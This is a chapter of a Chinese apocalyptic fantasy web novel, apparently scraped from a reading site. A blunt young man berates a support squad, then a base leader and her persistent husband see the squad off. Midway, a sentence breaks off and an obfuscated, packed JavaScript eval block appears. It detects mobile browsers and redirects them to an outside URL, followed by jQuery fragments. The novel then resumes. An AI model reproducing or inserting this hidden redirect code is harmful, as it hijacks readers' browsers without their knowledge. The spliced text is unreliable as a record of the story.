“怎么,嫌我说话太直白?”苏沐衡就是嘴毒、就是喜欢看别人在他面前吃瘪,可不管给不给人留情面,抓到机会就是猛烈开炮。
“哈哈哈,怎么会呢。”陈千结在心里尴尬地怪叫,不是太直白,是超级无敌直白啊!
罗焰后退一步,扶了扶眼镜,躲在陈千结的身后附和着笑,心里想的全都是:别看我别看我。
苏信伸手去拉苏沐衡,他可不管这微弱的阻拦,一把抽出手就要继续开炮:“觉得苏信温柔,那是因为你们不是他手下的兵,军营里被他骂哭的大有人在,还在心里想我嘴毒。你们扪心自问,我说的话是不是事实。”
“你。”他指着陈千结,“是不是每次心急,不瞄准就开枪。”
“你。”他指向花爻,“可塑之才,但神一枪鬼一枪,是不是没专心,在开小差。”
“你。”他又指向青梧,“是不是不敢开枪。你是□□不是激光枪,一次五六发,太谨慎,等你开枪敌人早跑光了。”
“还有你。”苏沐衡看着越躲越远的罗焰,“就你那光火是不是骗傻子?那种拙劣的手段,我一眼就能看出破绽。一模一样的东西一天天练,毫无长进,根本没用!”
四个人被挨个指了过去,都凝固在原地,不敢动弹,生怕下一句的骂还落到自己头上。
说完这一大通话,苏沐衡的心里畅快了,心满意足地长舒了一口气,看着身后的大哥张张嘴想要说话。
一头白毛在光的照耀下显得格外耀眼,极有个性的耳钉并未衬得人冷酷,反而多了几分桀骜不驯的不羁感,对着苏信,微微一笑,准备开口说话。
苏信赶紧捂住自己的嘴巴,对着身前人摇摇手,示意自己不说话。
每次都是这样,他一个做大哥的想要劝弟弟几句,一旦开口,就会先一步被他打断,拿话噎住。
哎,真是长兄难做。
丁木木对着这出闹剧看得开心,不知道什么时候从露珠的背上下来,被水龙的尾巴揽在怀里,成了场上唯一一个敢出声的人。
苏沐衡不爽,循着声音看向丁木木。
这个精神体看上去蠢蠢的,听不懂人话。他随即将目光投向它的主人——丁灵。
那人眼神虚焦,似乎并未在意苏沐衡的一通训话,不知道看着远处的什么地方发着呆。注意到苏沐衡投来的眼神,敏锐地回望过去。
眼神朦胧不犀利,淡淡地望过来,却让苏沐衡一阵哑然。
旁边这位更是不能惹的主,他只好老老实实把这口气咽下,恶狠狠地盯着“咯咯”笑的小树人。
真是没有一点眼力见。
他没想到丁灵的精神体和她几乎完全是两个独立的个体,并不受她的心神指引,只以为是丁灵放纵,不愿意约束自己的精神体。可他对上那澄澈的眼神,竟是一个字也说不出来。
眼看他熄了火,罗焰试探着重新溜回门口,缠着苏信不知道问些什么问题,还悄咪咪地希望苏信指导他的光火。
苏信只是摇了摇头,表示自己对光火了解甚少,提不出什么建议。
陈千结几人还想练习,可又怕挨骂,又怕不挨骂听不到指导。挨骂与进步并存,那就让这痛苦来得更猛烈些吧!
池渊一向不管小队的练习事项,他只是丁灵一个人的老师,再管多一些,他可没那个耐心。
*
翌日,小队几人整装待发。
来的时候,东部基地对丁灵而言是四大基地之一的大基地,是陌生的。走的时候,因为队里有个东部基地横行霸道的老大,那份陌生都被消解成了温馨。
钱与权不愧是人们最渴望得到的东西,连去往基地门口,都可以坐上自动驾驶车。不枉那些人将变强作为通往名利的跑道,渴望一朝成名,钱权加身。
丁灵喜欢看窗外的景色,看那些小贩因为速度被他们抛在脑后,看人影化成模糊的线条,看远山被擦开占据所有视线。
头顶突然投来一片阴影。
金雕带着嘶嘶金鸣,骤然降落在他们面前。苏钰铭手也不扶,一个闪身从大鸟的背上跳跃至地面,止住了自动驾驶车前进的势头。
随之而来的是一条火龙,跟在金雕的身后,火龙背上的人并未下来,只是操纵着火龙在苏钰铭的身边打转。
池渊就坐在丁灵的旁边,眼神从期待转为无语:“真是老来俏,甩也甩不掉。”
丁灵被池渊的话逗笑,冰山的脸上难得露出一抹笑。看着堂堂一个大基地的基地长围着苏钰铭,心中也是感叹着不容易,对他们二人的感情倒是多了几分好奇。
看今天这架势,池渊所说“骗婚”一事,恐怕另有隐情,应不是为着提升自己夺权的胜算,说是为了“情”,倒是更真些。
苏沐衡轻轻叹了口气:“姑父追妻路漫漫啊。”
听起来,是个内行人。
不过父母感情,其他人也不想多问。丁灵倒是想得简单,哪天好奇心真拦不住了,让池渊这个儿子讲讲,不是来得更方便。
苏钰铭此时前来,自然是为了送行。
为了送儿子这一程,她可在东部基地里苦苦挨了大半天,被这个不要脸的火龙从东边撵到西边,一刻不消停。
池烬要是知道她这么想,真要大喊一声冤枉,他那是想跟老婆好好相处一番,没想到她见了自己就跑。
池烬元帅出生就是SSS级火系异能,还带点C级水系异能,从小没吃过什么苦,学什么都是一学就会。启蒙不用人教,掌权不用人帮,一生顺风顺水。
可就是这感情的事,怎么也弄不明白,从二十几岁开始追妻,到了四十几岁了,还是没能实现老婆在怀,真是痛苦万分。
苏钰铭走到池渊的窗边,看着儿子经历了这么一遭磨难,那顽劣的性子仍旧未减半分,心里其实是高兴的。
以前总想,若是有机会,她真想把儿子带在自己身边长大,想必能成为一个温暖开朗的大男孩。不过现在这么一看,这种调皮的性子,说不得能更好地保护自己,也不影响他找喜欢的人。
她嘴笨,于感情的事上也是一窍不通。只是母子之情虽淡、却也是血浓于水,关心与心疼掩盖不住。她拍拍池渊的肩膀,千言万语化作一句:“一路平安。”
池渊知道母亲的性子,眸光间多了几分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340262|196150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温暖,把手放在苏钰铭的手上拍了拍,以行动代替言语。
池烬不知何时板着脸跟在苏钰铭的身后,他知道池渊没打算听他的话去执行新的任务,是因为异化因子还有后患。既然池渊不愿意说,他又怎么拦得住。
这一趟东跑西跑各个基地,也不算毫无收获,起码带回来不少消息,不论是异化人有组织的行动,还是东部基地内部的问题,都要好好整治一番。索性让他再去跑跑,探探各基地间的形势,末世暗流涌动,如今各人是何心思,他都有些看不透了。
池渊故意不去看他,军装早就脱下,管他是上将还是上校,通通扔到脑后。
被无视的人早就习以为常,跟在老婆身后,当背景板。
“你也是哦,小丁灵。”苏钰铭的话语俏皮,脸上带着微笑,看得出来很喜欢她。
毕竟一个是基地的基地长,一个是小队的队长,都是掌权的女性,颇有点惺惺相惜的意思。
辅助系小队一路走来一直被人看不起,苏钰铭的支持让人心里开心。丁灵绽出微笑:“谢谢您,苏基地长。”
似乎是没想到这个称呼,苏钰铭惊讶地微张着嘴巴,不过下一秒就笑了,回以一个露出10颗牙齿的大笑,看得出被这句话哄得心情极好。
“还有你,苏沐衡,好好做事,少说话。”苏钰铭探头进窗户,从座椅间找到苏沐衡的位置。
靠在后面的人突然被点名,好不容易老实一回:“知道了姑姑。”
要说相处时间,苏钰铭和侄子才是从小生活在一起,说起话来也更平直,开口就是几句训导。
把头重新收回去,苏钰铭还不忘弯腰跟其他人打招呼:“辅助系小队的大家,都要保重噢~”
罗焰首先露出笑容:“谢谢苏基地长!”
陈千结有样学样:“我们会的,苏基地长!”
青梧和花爻也不想被落下,一时间,苏钰铭的耳边全是“苏基地长”的声音,听得她乐开了花,挥挥手,示意大家赶紧上路。
小队几人摇下窗户,冲着窗外招手,随着车子往前开,还一边在嘴里喊着:“再见,苏基地长!”
逗得苏钰铭合不拢嘴,这么多年,也是体验了一把老母亲的感觉。
车子瞬间开远,辅助系小队探出窗外的头缩小成了芝麻小点。
苏钰铭的耳边突然传来一道磁性的声音:“苏基地长~”
苏钰铭转头,忘了还有这个人了。年纪都这么大了,还学什么年轻人撒娇,真是不知羞。
火龙亲昵地靠在她的肩头,苏钰铭知道是二人的夫妻关系,让火龙天然地享受和她的依偎,也就一直不管它。甚至还放出金雕变成小鸟,和火龙一起攀在她的肩膀上。
只是火龙的主人就没得到什么好脸色了,苏钰铭步履匆匆,看样子就是要离开基地。
“老婆。”
苏钰铭登时一个踉跄,池烬赶紧扶住,搀扶的手没被打开,他肉眼可见地高兴起来。
凑到苏钰铭的耳边,不知道说了些什么,她的耳朵顿时红了半截。想要推开自己身边的人,却不是真使力,任由他走在自己身边。